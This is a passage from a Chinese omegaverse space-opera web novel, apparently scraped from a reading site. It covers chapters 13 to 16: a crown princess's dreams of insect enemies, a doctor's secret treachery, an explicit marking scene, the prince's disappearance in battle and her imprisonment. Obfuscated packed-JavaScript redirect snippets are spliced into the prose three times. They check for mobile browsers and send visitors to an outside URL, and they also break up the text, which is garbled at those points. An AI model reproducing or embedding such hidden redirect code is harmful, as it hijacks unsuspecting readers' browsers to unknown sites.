好闻的肯定比难闻的受欢迎;能长时间稳定维持的气味肯定比忽上忽下、忽轻忽重的不稳定味道要好;浓度则不是越浓或越淡才优秀,能保持在中间值才是恰到好处;至于纯度,那就要看从信息素能提取出几种味道了,要是花香,纯粹的红玫瑰香当然优于混杂着几种花类的香味,依此类推。 况且,就算一对郎才女貌的情侣,如果信息素匹配度低于50%,即使再相爱他们也会在得知匹配结果后断然分手。毕竟,连一半都达不到的信息素匹配度,婚后的生活和后代孕育也可想而知,毫无疑问只会难上加难。 只是这些,似乎他的妻子却并不知晓。 忽然对桑宁叙过去生活产生浓厚兴趣的太子殿下开始暗自计划着给元宿安排即将到来的任务。 “那个……我有话说。” 与人共感是非常奇妙又神奇的体验,不亚于掌握了一项读心能力。虽然对方的想法不会像文字一样直接出现在脑中,但因为双方信息素无时无刻的交融,对方的情绪、感受,甚至细微的想法也会自然而然地送入她的大脑,被她体验并理解。 也许是因为穆沉凛的信息素水平实在过于顶级,她和他的共感能力似乎也有稍许不同,这人……好像是真的能听见她心中的每一句话。 与其等着太子殿下命人底朝天的将她的过去大挖特挖一番,还不如趁现在快点坦白。说开后就算情况不对,她也能在床上舔着脸皮跟他求求情、卖卖惨,好抱紧大腿不被发落。 没错,她桑宁叙今日就要做只恬不知耻的厚脸皮狐狸精! “说吧,想说什么?” 忍俊不禁的太子殿下此刻已摆好姿势,好以整暇地靠在床头的柔垫上,半抱着手臂、微眯着双眼,整个一幅洗耳恭听的画面。 来了来了,都起开,她要爆猛料了! “我可能……见过虫族。” 随着桑宁叙小心翼翼地说出这句话的同时,刚才还面带笑意的太子殿下一点一点收起了唇边那抹清淡的浅笑,他顿了半晌,似乎是在判断这句话的真假与否,在对上女孩略带心虚的目光后,穆沉凛才拧着眉头开口:“可能?” “嗯,因为我不确定。”点头如捣蒜的桑宁叙一本正经地跟太子殿下努力解释,“是第一次你失控后我们……之后我在梦里应该是梦见了一只虫子。” “但是当时太害怕了,全程都闭着眼睛,所以我也不确定到底是不是。本来我想先查资料了解一下虫族,然后再做判断,但是你们又有规定……” 看着太子殿下越来越难看的脸色,桑宁叙的声音也越来越小,她的身体不自觉地微微后退,拉开了两人之间的距离。 完蛋,不会自己真的干了什么坏事吧? 可那只是个梦啊!难道她还能随意控制自己不做什么梦吗? “还记得梦的内容吗?” 穆沉凛此时彻底从床上坐起,目光复杂地盯着身边的女孩,他一边在心里快速分析判断,一边询问着更多的细节。 “差不多都记得。” 半个小时后,桑宁叙看着穆沉凛匆匆离去的背影,陷入了沉思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823556|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那什么,殿下,其实吧,她还有一个更大的秘密没有说呢…… 最终还是没有暴露自己无嗅觉事实的桑宁叙揉了揉僵硬的脖子,忍不住打了一个大大的哈欠。 算了,估计穆沉凛一时半会都不会来找她,不如再睡一觉好了。 虫族的事嘛,自有殿下会担心操持的。 况且,穆沉凛已经应允她可以随意借阅任何有关虫族的书籍,她终于在这艘无聊的星舰上有事可做了! 怀着兴奋又轻松的心情,心无烦恼的桑宁叙就这样继续瘫回了床上,被子一卷,大喇喇地占据了整个床铺,摆好她最喜欢的“大”字睡姿,再次香甜入梦。 “太子殿下?” 深夜,照例泡在研究室的贺书愉看着面前这位不请自来的男人,心中不由一冷,他放下手中的资料正想上前和穆沉凛攀谈一番,却见那人并没有理会自己的意思,而是步履急促地独自进入了那间存放虫尸的密室。 虽然知道穆沉凛一定不会发现自己的所作所为,但在这位顶A太子殿下的绝对力量面前,生理心理都不得不屈居下位的贺书愉还是情不自禁地暗自紧张起来。 他的秘密,无论如何都绝对不能被这人发现。 向来不把一切放在心上的贺书愉少见地在椅子上坐立不安,他没心思再继续研究本就用来迷惑视线的虫族灵能分析资料,随着穆沉凛待在里面的时间越长,他的心绪就越发不安。 这个男人,不会真的在冷室里发现了什么吧? 但是这绝对不应该,他与虫族的联系明明是通过信息素与个人意识完成的,按理来说,不会留下任何明显的痕迹才对。 除非…… 最糟糕的猜想一点一点在心中成形,贺书愉的表情也渐渐难看起来。 与此同时,密室的门也终于被打开,随着高大男人身影出现的下一秒,贺书愉也立即闻见了刚才被完全隔绝起来的刺鼻味道。 这是…… 站在门口的身影并没有移动,反倒像是被定住了一般。 在急剧爆发的信息素攻击贺书愉之前,他就已经提前发送了警报,并眼疾手快地从抽屉里掏出了强效抑制剂,还顺便给自己戴好了隔离面罩。 但即使如此,在碾压式的绝对实力面前,贺书愉也仅仅坚持了半分钟不到的时间,在他即将靠近男人并把针头推入皮下组织时,愈加猖狂的信息素彻底摧毁了他那不堪一击的物理防御,随即,他两眼一黑,浑身是汗的匍匐在地,抑制剂也顺势从手中掉落,骨碌碌地滚入寒气逼人的门内。 该死!他倒是没想到,才短短几天时间,穆沉凛的信息素暴乱居然就已经严重到了这个程度。 按理说他应该为此感到高兴,毕竟这也意味着,他的下一步计划很快就能提前实施。 但现在,被铺天盖地而来的冰醋酸死死压制的贺书愉再也无法进行其他思考,在这生命垂危的紧要关头,他首先需要确保自己不会被这个几乎兽化的疯子抢先一步给干掉。 不行,他还不能死! 察觉到猎物还在试图抵抗的穆沉凛一言不发,只是冷冷地站在原地,居高临下地观赏着这个如濒死虾米般佝偻着身躯的男人,奄奄一息地趴在地上苟延残喘着,等待着自己随时夺取他的性命。 “殿下!” 在贺书愉即将失去意识前,他勉强抬起头望进了男人残暴冰冷的漆黑竖瞳中,同时,也听见背后传来那让他可以暂时松口气的慌乱脚步声。 元宿熟悉的嗓音在耳边响起,当确定自己基本得救后,不再为性命担忧的贺书愉微微勾出一抹嘲讽的微笑。 霎时间,这位帝国第一军医长便在元宿即将接近他的前一秒理所当然地闭上双眼,彻底安心昏迷了过去。 14. 第 14 章 从睡梦中被摇醒,得知穆沉凛又发病的桑宁叙被迫双眼惺忪地从床上爬起,她动作机械地换好衣服后,才在元宿一声声的催促中木着脸打开门,跟在男人急切的步伐后晃晃荡荡地一同向外走去。 不是,她就睡了个觉,怎么穆沉凛又莫名其妙出事了啊? 一路上,桑宁叙明显感觉到星舰内气氛的紧张和不对劲。终于在她抵达关押这位疯子顶A的病房后,她才终于知道为什么这次大家都一副战战兢兢、拿不定主意的慌张模样。 原来是他们的好太子殿下,一不留神把军医长也给弄进了病房,人家现在还在昏迷不醒呢! 迫在眉睫之际,元宿也没心情和她细细讲完一切发生的经过,只是囫囵吞枣地随便概括了两句,就已经要迫不及待地把她丢进去献给太子殿下。 喂喂喂,你们这样做,问过她这个太子妃的意见了吗? 好吧,虽然她的确是顶着这么个看似高贵显赫的头衔,但在这艘星舰上,她其实什么也不是,纯粹就是他们太子殿下的药包,需要时被推出来用用,不需要时就锁在柜子里谁也不在乎。 唉……行吧,这就是她的命。 无计可施的桑宁叙站在门口狠狠叹了口气,她看着里面那个目光幽幽、一动不动死死盯着自己的男人,无可奈何中仰头又叹了口气。 得,这次是非得要咬脖子了。 闭了闭眼睛,给自己再度打完气的桑宁叙正准备拉开门,却在下一秒忽然顿住了动作。 在元宿不解的眼神中,桑宁叙像是偶然想起了什么似得,有些尴尬地开口:“那个,元副官。” “您有什么吩咐?” 即使心里再焦急,但眼下唯一能救太子殿下的人发话,元宿也不得不尽力满足她任何可能提出的要求。 “贺医生有跟我提过,如果太子不幸再次病发,需要在完成标记后为他注入特效稳定剂,防止短时间内因为身心过于激动而再次导致狂化加重。” “不知道他有没有跟你和殿下说过……” “您说得对,的确有这么一回事,殿下有特意嘱咐过我。非常抱歉,刚才我只顾着殿下的身体,完全忘记了这件事。我会立即派人将稳定剂送入房内,之后元宿自会领罚。” “啊,这倒也不必吧……” “太子妃不必替元宿开脱,是我心急才导致疏忽了最关键的步骤,幸得您的提醒,不然若是殿下的病情真因此而愈加严重,那元宿就成了谋害殿下的凶手也不为过。” 听着面前这位铁骨铮铮男子视死如归地壮丽宣言,桑宁叙确有那么一瞬间的愣神。 这人,有点太小题大做吧……不就忘了个稳定剂,怎么弄得好像是他把穆沉凛害到今天的地步? 桑宁叙一时没忍住在心里默默吐槽了几句。不过她没想到的是,一向在战场上视军令为神令的元宿永远无条件贯彻穆沉凛每一项安排和要求,还从未出过丝毫差错。要知道,如果他们现在真的在对抗虫族,那么忘记稳定剂这件事不亚于上战场没带全装备,细小的疏忽往往才是决定成败的关键要素。这要是在战场上,殿下得知自己因为粗心而导致作战计划全面失败,到时候可不是光受罚这么简单了。 全队的战士都有可能因此丧命,而前线将赤裸裸的暴露在虫族视野下,帝国的安危也将彻底破碎。 所以他该罚,作为军舰的副指挥官,在太子殿下缺席时,他的任何决策都至关重要,如果因为他而导致军舰和帝国的利益受损,那么他就不配待在这个位置为帝国和皇室效力。 当然,这些内容,太子妃殿下就不必知晓了。 在元宿的再三道歉和保证下,桑宁叙放心地点点头,然后深吸一口气,视死如归地迅速拉开门,迈向那个已经全然失去理智和意识,正虎视眈眈、迫不及待迎接她的恐怖Alpha。 “贺长官,您终于醒了!有没有哪里不舒服?” 昏迷近一天一夜后,贺书愉终于在病床上悠悠转醒,第一时间发现的护士立刻通知了研究员,很快,连带元宿在内的一小群人就聚集在他的床前。 被这偌大阵仗弄得头皮发麻的贺书愉勉强压下心底的不悦,故作虚弱地半睁开双眼,像是迫切关心殿下情况的好下属那样,首先询问了穆沉凛的情况。 “殿下在太子妃的安抚下已归于正常,我们按照您的要求在标记结束后为殿下注射了稳定剂,现在殿下和太子妃还在休憩中。” 向来看不上贺书愉的元宿这次倒是率先开口,语气略带歉意和安慰的对病床上面色惨白的军医长毫无保留地进行汇报。 “那就好。” 在确定他特质的稳定剂有被顺利注入穆沉凛体内后,贺书愉的表情终于好看了一点。 但忽然之间,刚才还看起来恢复了一丝精神的贺军医长此时又变得脆弱不堪,他疲惫又困倦地开口,客气又疏离地驱逐起这帮围在他床前迟迟不肯离去的Alpha们:“抱歉,我想我还需要一定程度的静养。殿下那里如果有任何特别的事情发生,请随时通知我。” “现在,我想休息了。” “好的,请您安心休息。” “您注意身体,我们就先走了。” “早日康复,贺长官!” 收到贺书愉命令的Alpha们立刻纷纷道别不再逗留,大家都知道这位军医长向来日夜颠倒的混乱作息和清瘦的身体,因此没有人会怀疑在遭受殿下信息素攻击之后,这位长官无法像其他身体力健的Alpha一样立刻恢复工作,而是需要更长的修养时间。 终于赶走众人获得一丝清静的贺书愉此时正躺在床上假寐,实则却是在脑海中搜寻着与虫族灵能链接的那抹印记。 谁都知道穆沉凛的信息素对虫族有着致命的危害和打击,他之前也从未受过穆沉凛的直面攻击,因此,他也无法确定今天之后,虫族留在他体内的印记是否还在。 这个该死的例外顶A,绝不能继续留他。 看着那抹已经略显灰暗的印记,贺书愉紧皱着眉头,双眸阴沉的仿佛能滴血,他面色狰狞地一把撕去后颈的阻隔贴,颤抖的指尖摸到了那个独特的器官。 一个看起来明显就发育不全,只有正常Alpha腺体一半大小的器官正可怜兮兮的裸露在空气中,片刻后,极其清淡的红酒味才慢慢渗出,但味道依然浅淡无比,如果不是凑近了仔细闻,几乎什么都发现不了。 是的,帝国几乎没人知晓,这位名声显赫的天才军医长,其实是个腺体残疾的Alpha。 从出生后身体便羸弱无比的贺书愉一直遭受着其他Alpha的排斥,本以为进入发育期后一切都会变好的他,在身体检查中却被告知自己的腺体先天发育不全,就算成熟后也会面临信息素浓度极低、无法标记Omega的种种困难。 当自己的最后一丝希望破灭,只觉得走到绝路的贺书愉本想就这样浑浑噩噩的随便过完一生,却在无意间发现了那个被母亲一直以来完全封锁并绝不允许他打开的破旧衣橱。 彼时贺书愉的母亲已经因为身体原因撒手人世,在收拾母亲遗物时,他终是没忍住,违反与母亲的约定打开了那个神神秘秘的柜子。 里面的东西是他当时想也不敢想,但却让现在的他却无比感激当时的自己。 如果他按照母亲的约定没有查看柜子里的东西直接彻底销毁,那他贺书愉便也不会知道所谓的“真相”,更不会走到今天这一步。 从一个人人看不起的半残疾Alpha变成帝国人人敬仰的第一军医长。 母亲,请您在天有灵好好看着。 看着他怎么一步步夺回原本属于他们的一切,并完成属于他们家族的遗愿。 桑宁叙又做梦了。 当她只身站在一望无际的静默黑暗中,与上次别无二致的恐慌感再次死死攥住了她的心脏,让她站在原地动弹不得。 为什么,到底为什么? 一模一样的梦境再次显现,听着耳边传来巨大的震动与虫鸣声,脑海中堆砌着无法描述和理解的晦涩思维,处在中心地带的桑宁叙仅有片刻的失神。 不知道是因为第二次做相同的梦有了前车之鉴,还是穆沉凛的信息素带给她无与伦比的安全感,总之,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829072|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在暴风中心的她并没有第一次那样害怕了。 也许是信息素的存在给了她一丝抚慰,又或者是男人那傲然猖狂的态度和思想在他们共感时一点点植入她的意识,强迫自己屏息凝神的桑宁叙竟然很快就摈除了那试图吞噬她大脑的疯狂恶意和低语,原本纷乱无序又嘈杂的内心霎时间变得宁静安稳起来。 好静。 她从极度喧嚣中走向了另一个极端,极度静默。 静到这世间的一切仿若都已消失,甚至连她自己也不复存在,世界终归于诞生前那荒芜可怖的原始沉静之中。 但桑宁叙知道,那东西并没有离去。 即使那久久盘旋在头顶的振翅声和巨大尖锐的高频声浪已然彻底消失,但直觉告诉她,有什么东西正在那面无法看清的模糊黑暗中,饥肠辘辘又恶意满满的凝望着她,等待着她的失控和爆发。 好烦…… 被困在梦里不知多久的桑宁叙在习惯黑暗与静默后,那隐藏在黑暗中的东西却不知为何迟迟不肯动手也不愿露面,就这样一点一滴的似是在消耗着她的耐心。 如果这东西要和她比耐心,那她断然是输的一方。 她桑宁叙从小到大最讨厌的事情就是等待,特别是那种没有提前约好,一等就没有尽头的约定。 已经几乎在底线游走的桑宁叙眉头越皱越紧,她的脸色也越来越烦躁,任谁被困在一方黑黢黢的无人之处,还被不知道是什么的恐怖东西一动不动地盯着,她相信就算是那些上过无数次战场的Alpha也很难接受得了现在的情况。 察觉到主人极度不爽的情绪后,原本只是安静蛰伏的冰湖也在悄无声息中逐渐沸腾起来,湖底细密却无限翻滚的气泡如地震般不断震颤,似乎是在为最后一刻的爆发提前做好准备。 腺体逐渐变热,连带着整个身体都开始发烫的桑宁叙也并没有意识到自己信息素的异常,她难耐地转了转脖子,突然朝前迈了一步。 也许是她突如其来的鲁莽行为惹怒了藏在黑暗中的敌人,才刚刚站定身体,桑宁叙就没由来地感到一股极具恐怖与恨意的能量,像一只裹满粘稠黑暗与恶意的剑,嗖得一下朝自己的眉心袭来。 尼玛,搞偷袭! 被猝不及防吓了一大跳的桑宁叙重心不稳差点跪在地上,就在这只坚硬又细长、上面长满了漆黑甲片与数不清毛绒细线的管状物体即将狠狠插进她的眉心、开颅破脑时,一面看不见的坚硬冰墙也随之遮挡在她面前,为她拦下了这只诡异又奇怪,远看像长须,细看却像管状口器一样的恶心玩意。 只草草看了一眼,桑宁叙就差点恶心到一口吐出来。 我勒个大爷,这是个什么鬼东西! 快滚远点! 终于接收到命令的信息素此刻彻底褪去伪装,包含着浓烈冰醋酸的冰湖如煮沸的开水一般从炙热的腺体中蜂拥而出,毫无保留地穿透那面抵挡在女孩面前的冰墙,以掩耳不及迅雷之势的速度迅速裹住那还不肯死心、试图突破防御的扭动中的口器。 本并未把女孩放在眼里的虫子还迟迟不肯收回口器,正想释放灵能摧毁信息素和女孩□□时,却被一阵尖锐的痛意和烧灼感刺激地大声尖叫了一下。 可惜,早已成功屏蔽虫族污染的桑宁叙什么都没听到。只不过,看着面前那恶心扭曲的玩意儿此时正奄奄一息的不断抽搐时,她才稍微松了口气。 不能直接砍断或者弄死吗? 想法一出,早就跃跃欲试的冰醋酸此刻像终于摆脱了束缚的疯马一样,毫不犹豫地就朝着那根管状东西再次侵袭而去。 下一秒,就在冰醋酸即将接触并彻底粉碎那根东西时,桑宁叙只觉得眼前一黑,于此同时,她似乎听见了几乎得以湮灭整个宇宙的如海啸般剧烈的,散发着死亡味道的能量声波,但也只是连半秒钟都不到的时间,脑内的波动和回响便被彻底镇压,一切又陷入了沉寂。 在意识清醒的最后一刻,她仿佛感觉到了自己被一群又一群数不清的巨大生物疯狂地注视着,在它们贪婪又黏腻恶心的视线中,女孩疲惫地一点点阖上双眼,再度失去知觉。 15. 第 15 章 连续几日,星舰上的气氛都异常冷凝严肃。 自那日从梦中醒来后,本想找机会跟穆沉凛聊一聊虫族的桑宁叙又被关了起来,在元宿歉意的解释中,她才知道太子殿下最近正忙着准备即将到来的一场恶战,暂时没空理她。 可明明距离上一次虫族的袭击才没过多久,桑宁叙也搞不清楚这帮人都是怎么预测出下一波战事的概况。不过这类一看就关于军事机密的信息,她还是知道的越少越好。 因此拥有大把时间的桑宁叙,也开始如饥似渴地啃起了房间内那几本厚厚的虫族书籍。 关于敌人,当然是知道的越多越好。 当她读到关于虫族细节的身体介绍和插图后,桑宁叙忍着恶心飞快瞟了一眼旁边那个被放大了几倍的义眼和节肢后,立马火速朝后翻去。 很好,现在她可以基本确定以及肯定,自己在梦中遇见的一定是一只虫子。 只是,为什么自己会梦到虫族,还是说它们用了什么办法,让自己的意识和它们有了短暂的联络吗? 依然一头雾水的桑宁叙想了半天也找不出一个能合理解释的理由,没办法,她只好暂且把疑惑丢到一边,开始专心致志地研究起书里的内容。 再见穆沉凛,是半个月后一个即将入睡的深夜。 洗漱完毕的桑宁叙正准备关灯睡觉,却听见了大门自动解锁的声音。 能在她这里来去自如的也就只有那一个人了。 忍着睡意从床上爬下,又披了一件外套的女孩从卧室走出,抬眼就看见了身着军装面容冷硬的太子殿下。 见她穿着睡衣明显略带困意的打着哈欠,后知后觉的男人才意识到自己似乎来得不是时候。 但他也暂时抽不出别的时间来见她了。 “方便进去聊吗?” 虽然不知道为什么要在卧室聊天,但早已习惯这艘星舰上各种奇怪规定的桑宁叙也只是迟疑了一秒,随后就立刻点了点头,转身打开了房门。 她的卧室里除了一张能容纳两个人的双人床外,就只有一个看起来松软舒服的灰色小沙发孤零零地摆在床边,这还是前不久元宿突然让人送来的家具。 向来只在卧室睡觉的桑宁叙虽然很少用这个可爱的新沙发,但她也知道这是元副官遵谁的命令送来的物品。因此,被男人无意间的细心而照顾到的桑宁叙也不由地对这位太子殿下多了几分好感。 不知道要聊些什么、要聊多久,桑宁叙毫不客气地一屁股坐在了床上,顺便还对着紧跟在她身后关好房门的男人顺手指了指那个跟他体型明显不符的沙发,示意他随便坐。 然而出乎意料,穆沉凛并没有如她所愿坐在某个固定的地方。面色沉静的男人只是站在门口牢牢盯着她看了好一会儿,接着在女孩莫名的视线中一步一步走到了她面前。 本就拥有20厘米左右身高差的两人,在此时的情景下更显夸张,原本觉得自己还算大只的桑宁叙被笼罩在男人的阴影中被迫高举着脖颈才能勉强看清他的正脸,然而从下向上看去,她倒是直直望入了男人深邃幽深的视线中。 虽然跟穆沉凛相处时间不多,但两人早已亲密接触过又刚好是命定之番,桑宁叙倒是轻而易举地读懂了他眼神中罕见出现的纠结与不安。 怎么,这是发生了什么? 居然让这位无所不能太子殿下都觉得不妥? 正想着如何开口打破平静的桑宁叙却被男人的大手按在了头顶,随后力道轻柔、甚至带有一丝宠溺意味地被摸了摸。 “宁叙。” 男人声音低沉的开口,原本高大的身影此时倒渐渐低了下来。随着他身体的移动,桑宁叙的头也一点点放平,直至二人目光平视地进入对方的视野。 在意识到穆沉凛行为后的桑宁叙被他突如其来的动作搞得愣怔了一会儿,直到他半跪在地上微微俯身向前,撑在床边的双臂将她圈在自己怀里后,才像是终于满意了似的随之缓缓开口。 “你相信我吗?” 看着男人面色凝重的问出一个让她摸不着头脑的问题,思考了片刻,桑宁叙还是给出了自己真实的答案:“相信啊。” “确定吗?还是……你会更信任这艘星舰上的其他Alpha?” “比如?” 不知道穆沉凛什么意思的桑宁叙想都没想就脱口而出问道。 没想到会被反问的男人少见地沉默了下来,片刻后,在对上女孩困惑的视线,他才不太自然地继续:“比如,贺书愉。” “噢他啊,我不喜欢他。” 一个没留神直接把心里想法一吐为快的桑宁叙,在话脱口而出的五秒后才反应过来自己刚才口出了什么狂言。 她怎么能对着帝国最高指挥官抱怨自己讨厌人家的第一军医长呢! 完了,这下要怎么补救啊? 又下意识以为自己闯祸的桑宁叙顿时满脸欲哭无泪,关键她现在的姿势连跑都跑不掉,啊啊啊,能不能有个人来救救她啊! 只顾着埋怨自己的女孩并没有看见男人眼中划过的,一闪而过的欣喜和愉悦,知道她下意识的反应骗不了人后,嘴角忍不住浮上一抹微笑的穆沉凛好不容易才压下笑意,在桑宁叙看过来之前故作严肃地发问:“为什么,是他长得不够好看吗?” 这和他好不好看有什么关系? 被太子殿下无厘头询问折腾地愈发疑惑的桑宁叙终于忍不住开口:“您到底想问什么?” “如果只是想知道我是否信任您的话,答案毫无疑问,一定是信任。”不准备再给这人发言机会的桑宁叙索性一口气自顾自地说了下去,“您可是太子殿下,我连您都不相信的话,在这里还能相信谁呢?” “至于贺医生,我的确不太喜欢他,没什么特别的原因,讨厌一个人就像喜欢一个人一样,很多时候都只是一种感觉,并没有什么特殊的原因。” “关于您问他好不好看,我只能说,贺医生不丑,但他的容貌也确实和我一点关系没有,所以我也没有什么评价的资格。” 等她干脆利索地解释完后,印入眼帘的就是太子殿下放大的面孔。 察觉到嘴唇传来的轻柔软意和磨蹭,桑宁叙的脸还是唰的一下像煮熟的虾子,彻底红透了。 这这这,这人怎么一声不吭就亲过来了! 下意识后仰的女孩很快就被男人放在床边的手制止了动作,他不知什么时候站了起来,高大的身体有些艰难地弯曲着,双手正死死箍在她的腰间和后背,彻底隔绝了任何她可能逃跑的路线。 柔软嘴唇上的触感逐渐加深,二人鼻息交错,纵然自己什么都闻不见,但她却在男人如羽毛般温柔又紧迫的攻势下溃不成军,只觉得自己跟喝了假酒一般如痴如醉。 眼看时机差不多,穆沉凛顺势敲开了那迟迟不肯放他进入的牙关,在舌头终于接触到另一个软体组织时,桑宁叙只觉得自己的身体也被迅速抱了起来,随后她就和男人调转了位置,被搂坐在他怀中被迫承受他的侵袭。 今天的殿下到底怎么了?好奇怪啊…… 尽管每次标记中接吻是必不可少的环节,但唇齿交接之际,桑宁叙也总能感觉到男人动作的生疏与鲁莽,换句话说,比起接吻,她倒是能更清晰地感觉到身上那人想要立即标记她的迫切欲念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833579|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 即使每次注入男人信息素后的第二天,桑宁叙的腺体又会自动失去咬痕,但太子殿下却从来没有追问过为什么她不能被成功标记。 原本还忧心忡忡的桑宁叙后来见穆沉凛真的没有要跟她掰扯这件事的样子,也索性放宽了心,把自己标记不了的事情扔到了一边。 反正又不是她的Omega无法标记,她还乐得自在。 察觉到女孩走神的穆沉凛不满地咬了一口她,在桑宁叙发出吸气声的同时,再度上前封住了她的嘴唇。 “不管发生什么……都别怕。” “相信我。” 在激烈的翻滚间,桑宁叙恍惚听见了心中来自太子殿下没有说出口的、却充斥着浓烈不舍的话语。 直觉不对的她正想停下问问是不是出了什么事,男人却再次霸道地占据了她的身和心,随即汹涌而来如潮水般的欲望将她彻底淹没,也吞噬了穆沉凛没有说出口的最后一句话。 算了吧。 早已无法反抗的桑宁叙任由自己沉浸在这段让她感到万分舒适和满足的感情中,不再试图挣扎和反抗。反正他们已经做了好几次,再多一次也没什么的,毕竟出力的又不是她。 向来懒得内耗、怎么舒服怎么来的女孩顺势抬手搂住了男人的脖颈,让他正难耐地嗅着自己腺体的头颅紧紧贴在那处的皮肤上,于此同时,她的手指无意间滑过男人后颈处的那个器官,突如其来的酸胀让她又好奇地再度摸了摸那个地方。 随着男人身体剧烈的抖动,桑宁叙像得到了好玩的玩具,竟然一下又一下像撸猫一样开始细细抚慰那个器官。 原来Alpha被摸腺体会这么敏感啊…… 早已意识不清的桑宁叙哪里还记得自己身上正趴着一个来势汹汹的Alpha,只把他当做大型猫咪亲昵玩耍的女孩毫无顾忌地在他身上到处乱摸着,心满意足地感受着手底肌肤传来一阵又一阵剧烈的颤抖。 真好玩…… 玩够了吗? 咦,谁在说话? 玩够了,是不是,该轮到我了? 在女孩挑逗下终于忍无可忍的太子殿下暂时放弃叼着的香香软软的腺体,他半撑着身体,此时正双目赤红地死死盯着身下的柔弱少女,当目光从迷蒙的双眼落到她皙白纤嫩的脖颈,无穷止尽地渴意与爱意剧烈地喷薄爆发出来,在她难耐的神情中,穆沉凛狠狠咬破了那注定只属于他的器官。 在女孩若有若无地哭泣与抽噎声中,他狠下心,将自己的信息素注入她的身体。 终于又是他的了。 末了,似乎还是觉得不够满足的穆沉凛在结束后依然含着女孩的腺体不肯松口,原来白皙干净的腺体在他的折腾下早已变得惨不忍睹,上面甚至还残留着些许黏腻的、不可言喻的液体。 但此时的太子殿下再也顾不上干净不干净,只想彻头彻尾的占有身下这个人,好让她无时无刻,永永远远只能依赖他,只想靠近他,只能在他的信息素中沉迷沦陷。 只有他才可以。 虽然知道等一觉睡醒后,他好不容易才覆盖的痕迹又会奇迹般消失,但得到桑宁叙承诺的男人暂时不去想让他头疼的Omega标记问题,只是紧紧搂着怀里早已累昏过去的女孩,珍惜又珍重地吻了吻她几乎要咬烂的下唇。 随后,穆沉凛从她的床头柜里熟练地摸出一管药剂,男人目光冷然地看着里面晃动的透明液体,几秒后,森冷的针头在夜色中被推进某人的皮肤。 低哑的叹息声在房间内缓缓响起,而那被人毫不留情丢弃的稳定剂则在地面翻滚了几圈之后,也顺势落入床底,再也不见踪迹。 16. 第 16 章 今天是桑宁叙被关押在帝国高等监狱的第三天。 看着白色托盘里那两管无色粘稠的营养剂和半杯冰凉的透明液体,本想忍着饥饿直接睡去的女孩最终还是抵不过肚子一阵又一阵的哄鸣,闭眼仰头,动作流畅到一气呵成的桑宁叙不到十秒就结束了用餐,如塑料质感的劣质味道在舌头上不停打转,她不得不又喝了口冰水才勉强压下那股味道奇怪又苦涩的营养剂。 重新缩回角落里的桑宁叙望着这间还算干净的囚笼,面无表情地将下巴靠在膝盖上,缓缓抱紧了自己本就纤细的双腿。 这一个月的疯狂程度,绝对是她这辈子除穿越外体验过最离谱的事情。 那晚标记之后的穆沉凛在几天后向往常一样整装待发进入飞船,带领军队抵抗新一波的虫族攻击。 然而…… 谁也没想到,本应在命定之番的帮助下慢慢恢复的太子殿下却在这场战斗中再次爆发信息素失控症,已被虫族团团包围的殿下却没能等来及时救治,甚至连求救信号都没来得及发出,就被群涌而上的雄虫迅速吞噬,据说属下们连尸体都来不及夺回,穆沉凛就在虫群的遮掩下彻底失去了踪迹。 当时太子殿下身边唯二的两个人,元宿和江止,由于穆沉凛的死亡他们很快就遭到了来自虫族的精神污染,要不是被及时赶到的小队救下,大概率这两个人也会在虫族的污染和围剿中被斩杀,和殿下一同失去生命。 由于唯二的幸存者和目击证人仍在昏迷中,所以皇室调查小组也迟迟无法复盘当天具体的战事情况,只得一边调查星舰上的所有可疑人员,一边等待二人的苏醒。 而本该跟这件事毫无关联的桑宁叙,在得知穆沉凛意外战损的消息后,还处在巨大震惊中反应不过来的女孩却得到了帝后随之而来的命令: 立即关押这位具有重大嫌疑的“前太子妃”。 完全不明白自己怎么莫名其妙就成为嫌疑人的桑宁叙靠在牢房内冰冷的墙面上,忍不住又摸了摸那个已经被贴好的腺体。 他们最后一次见面时,她还记得穆沉凛问过的那些奇怪问题,以及那几条在共感时她体会到的讯息。 信任他吗? 相信个屁! 大哥,你好歹也提前给我打个预防针,再不济稍稍透露点有用的暗示也行啊! 就随随便便丢下一句叫她相信他,她相信个鬼啊! 现在她自己都即将性命难保,还不知道会不会被丢在监狱里关一辈子,说信任有个锤子的用处! 在心里把那个臭男人翻来覆去怒吼了几十遍后,终于骂到疲惫的桑宁叙生无可恋地吐出一口浊气,继而盯着眼前虚无的空气发呆。 “桑小姐。” 平静被突如其来的男声打破,桑宁叙应声望去,在门口看见一个熟悉的身影。 随着衣着精致华贵的男人缓步踏入,桑宁叙也慢慢从床上坐直了起来,目光警惕地盯着这位不速之客。 “都出去吧。” “长官,您只有十分钟的探视时间,如果超时被上面发现了……” 看着面色为难的守卫,贺书愉只是堪堪瞟了他一眼后就漫不经心地点头答应:“我心里有数。” 